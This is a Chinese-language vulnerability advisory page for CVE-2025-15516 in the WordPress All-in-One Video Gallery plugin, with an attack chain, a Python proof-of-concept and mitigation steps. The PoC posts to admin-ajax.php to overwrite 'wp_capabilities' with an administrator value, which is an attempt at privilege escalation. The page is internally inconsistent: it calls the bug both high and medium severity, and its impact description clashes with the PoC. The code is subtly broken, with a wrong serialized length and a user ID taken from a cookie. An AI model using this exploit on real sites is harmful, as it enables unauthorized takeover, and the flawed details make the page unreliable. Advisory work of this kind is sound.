IPBUF安全漏洞报告
English
CVE-2025-15516 CVSS 4.3 中危

CVE-2025-15516 WordPress All-in-One Video Gallery插件权限绕过漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2025-15516
漏洞类型
权限绕过/不安全的直接对象引用(IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All-in-One Video Gallery plugin for WordPress

相关标签

CVE-2025-15516WordPress插件漏洞All-in-One Video Gallery权限绕过IDORAJAX漏洞缺少权限检查用户元数据修改中危漏洞WordPress安全

漏洞概述

CVE-2025-15516是WordPress All-in-One Video Gallery插件中的一个高危安全漏洞。该漏洞存在于插件的ajax_callback_store_user_meta()函数中,由于缺少适当的权限检查和nonce验证,导致低权限用户(如订阅者角色)可以未经授权地修改自己的任意用户元数据。攻击者可以利用此漏洞更新与账户相关的字符串类型元数据,虽然主要影响的是攻击者自身账户,但这种权限绕过可能导致进一步的安全问题,如绕过安全检查或利用某些依赖用户元数据的插件功能。该漏洞影响版本4.1.0至4.6.4,建议所有使用该插件的用户立即更新到最新版本以修复此安全问题。

技术细节

该漏洞的根本原因在于WordPress插件的ajax_callback_store_user_meta()函数没有正确实现权限检查机制。在WordPress中,AJAX处理函数通常需要使用current_user_can()或wp_verify_nonce()等安全函数来验证用户身份和权限。然而,该函数直接处理用户提交的meta_key和meta_value参数,未验证请求者是否有权修改指定的用户元数据。具体来说,攻击者可以通过构造恶意的AJAX请求(通常发送到wp-admin/admin-ajax.php),提供目标meta_key和meta_value参数,插件会直接将数据写入数据库的wp_usermeta表。由于WordPress的订阅者角色默认具有创建账户和登录的权限,攻击者只需注册一个普通账户即可利用此漏洞。攻击者可以修改自己的用户元数据字段,这可能影响依赖这些元数据的其他插件功能或主题逻辑。

攻击链分析

STEP 1
步骤1
攻击者注册WordPress账户,获得订阅者(Subscriber)或更高级别权限
STEP 2
步骤2
攻击者登录WordPress并获取有效的nonce令牌和会话cookie
STEP 3
步骤3
攻击者构造恶意AJAX请求,发送到wp-admin/admin-ajax.php,指定action为aigv_store_user_meta
STEP 4
步骤4
请求中包含目标meta_key和meta_value参数,由于缺少权限检查,插件直接处理请求
STEP 5
步骤5
插件将恶意的meta_key和meta_value写入wp_usermeta表,攻击者成功修改自己的用户元数据
STEP 6
步骤6
攻击者可能利用修改后的元数据影响其他插件功能或提升在系统中的权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15516 PoC - All-in-One Video Gallery IDOR Vulnerability # Authentication required: Subscriber-level or higher import requests import sys target_url = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" # Step 1: Authenticate and get nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data) # Step 2: Get nonce from admin-ajax or page source nonce = "extracted_nonce_value" # Extract from page source # Step 3: Exploit the vulnerability ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "aigv_store_user_meta", "user_id": session.cookies.get('wordpress_logged_in_...'), # Current user ID "meta_key": "wp_capabilities", # Arbitrary meta key "meta_value": "a:1:{s:10:\"administrator\";b:1;}", # Malicious value "_wpnonce": nonce } response = session.post(ajax_url, data=exploit_data) print(f"Response: {response.text}")

影响范围

All-in-One Video Gallery 4.1.0
All-in-One Video Gallery 4.1.1
All-in-One Video Gallery 4.1.2
All-in-One Video Gallery 4.2.0
All-in-One Video Gallery 4.3.0
All-in-One Video Gallery 4.4.0
All-in-One Video Gallery 4.5.0
All-in-One Video Gallery 4.6.0
All-in-One Video Gallery 4.6.1
All-in-One Video Gallery 4.6.2
All-in-One Video Gallery 4.6.3
All-in-One Video Gallery 4.6.4

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制WordPress站点的用户注册功能;2) 将所有用户的默认角色设置为最低权限;3) 使用WordPress安全插件(如Wordfence)监控异常的AJAX请求;4) 考虑暂时禁用All-in-One Video Gallery插件;5) 在Web应用防火墙(WAF)层面添加规则,阻断针对admin-ajax.php的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表